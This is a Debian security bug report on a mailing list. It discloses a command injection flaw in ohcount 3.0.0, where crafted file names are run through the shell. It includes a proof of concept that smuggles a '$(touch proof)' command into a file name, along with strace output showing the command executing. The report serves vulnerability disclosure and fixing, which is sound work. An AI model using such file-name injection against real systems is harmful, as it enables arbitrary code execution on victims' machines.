[Secure-testing-team] Bug#882372: ohcount: Command injection through file names
Jonathan Neuschäfer
j.neuschaefer at gmx.net
Tue Nov 21 21:24:44 UTC 2017
Package: ohcount
Version: 3.0.0-8.3
Severity: grave
Tags: upstream security
Justification: user security hole
When ohcount tries to determine the type of a file with a specially
crafted name, it can execute arbitrary shell commands through improper
quoting. Details below.
## PoC
> $ echo hi > "test'\$(touch proof)'"
> $ ls
> test'$(touch proof)'
> $ ohcount .
> Examining 2 file(s)
>
> Ohloh Line Count Summary
>
> Language Files Code Comment Comment % Blank Total
> ---------------- ----- --------- --------- --------- --------- ---------
> ---------------- ----- --------- --------- --------- --------- ---------
> Total 0 0 0 0.0% 0 0
> $ ls
> proof test'$(touch proof)'
## How does it work?
I haven't read the source, so I can't point at the vulnerable line, but here's
a snippet of strace output (trimmed and indented for readability):
Processes:
26767: ohcount .
26773: sh -c "file -b './test'$(touch proof)''"
26776: touch proof
26782: file -b ./test
26791: sh -c "file -b '.'"
26797 file -b .
26767 execve("/usr/bin/ohcount", ["ohcount", "."], [/* 52 vars */]) = 0
26767 write(1, "Examining 2 file(s)\n", 20) = 20
26767 open("./test'$(touch proof)'", O_RDONLY) = 3
26767 fstat(3, {st_mode=S_IFREG|0640, st_size=3, ...}) = 0
26767 read(3, "hi\n", 3) = 3
26767 access("./test'$(touch proof)'", F_OK) = 0
26767 pipe2([3, 4], O_CLOEXEC) = 0
26767 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f31736e69d0) = 26773
26773 execve("/bin/sh", ["sh", "-c", "file -b './test'$(touch proof)''"], [/* 52 vars */]) = 0
26773 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f601329d9d0) = 26776
26776 stat("/usr/bin/touch", {st_mode=S_IFREG|0755, st_size=93160, ...}) = 0
26776 execve("/usr/bin/touch", ["touch", "proof"], [/* 52 vars */]) = 0
26776 open("proof", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666) = 3
26776 exit_group(0) = ?
26776 +++ exited with 0 +++
26773 <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 26776
26773 stat("/usr/bin/file", {st_mode=S_IFREG|0755, st_size=22792, ...}) = 0
26773 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f601329d9d0) = 26782
26773 wait4(-1, <unfinished ...>
26782 execve("/usr/bin/file", ["file", "-b", "./test"], [/* 52 vars */]) = 0
26782 lstat("./test", 0x7ffc9809f660) = -1 ENOENT (No such file or directory)
26782 stat("./test", 0x7ffc9809f660) = -1 ENOENT (No such file or directory)
26782 open("./test", O_RDONLY) = -1 ENOENT (No such file or directory)
26782 write(1, "cannot open `./test' (No such fi"..., 49 ) = 49
26782 exit_group(0) = ?
26782 +++ exited with 0 +++
26773 exit_group(0) = ?
26773 +++ exited with 0 +++
26767 open(".", O_RDONLY) = 3
26767 fstat(3, {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0
26767 fstat(3, {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0
26767 lseek(3, 0, SEEK_END) = 9223372036854775807
26767 lseek(3, 0, SEEK_SET) = 0
26767 read(3, 0x56315aaed880, 18446744073709547520) = -1 EFAULT (Bad address)
26767 close(3) = 0
26767 access(".", F_OK) = 0
26767 pipe2([3, 4], O_CLOEXEC) = 0
26767 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f31736e69d0) = 26791
26791 execve("/bin/sh", ["sh", "-c", "file -b '.'"], [/* 52 vars */]) = 0
26791 stat("/usr/bin/file", {st_mode=S_IFREG|0755, st_size=22792, ...}) = 0
26791 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb58ec689d0) = 26797
26797 execve("/usr/bin/file", ["file", "-b", "."], [/* 52 vars */]) = 0
26797 lstat(".", {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0
26797 write(1, "directory\n", 10 <unfinished ...>
26797 exit_group(0) = ?
26797 +++ exited with 0 +++
26791 exit_group(0) = ?
26791 +++ exited with 0 +++
26767 write(1, "\n Ohloh"..., 79) = 79
26767 write(1, "Language Files Co"..., 158) = 158
26767 write(1, "---------------- ----- -------"..., 79) = 79
26767 write(1, "Total 0 "..., 79) = 79
26767 exit_group(0) = ?
26767 +++ exited with 0 +++
## Disclosure, etc.
This is, AFAIK, a previously undisclosed vulnerability.
Salvatore Bonaccorso volunteered to request a CVE identifier for this
vulnerability.
-- System Information:
Debian Release: 9.2
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386, mips, armhf, armel
Kernel: Linux 4.9.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages ohcount depends on:
ii file 1:5.30-1+deb9u1
ii libc6 2.24-11+deb9u1
ii libpcre3 2:8.39-3
ii ruby 1:2.3.3
ii ruby-diff-lcs 1.2.5-2
ohcount recommends no packages.
Versions of packages ohcount suggests:
pn ohcount-doc <none>
-- no debconf information
More information about the Secure-testing-team
mailing list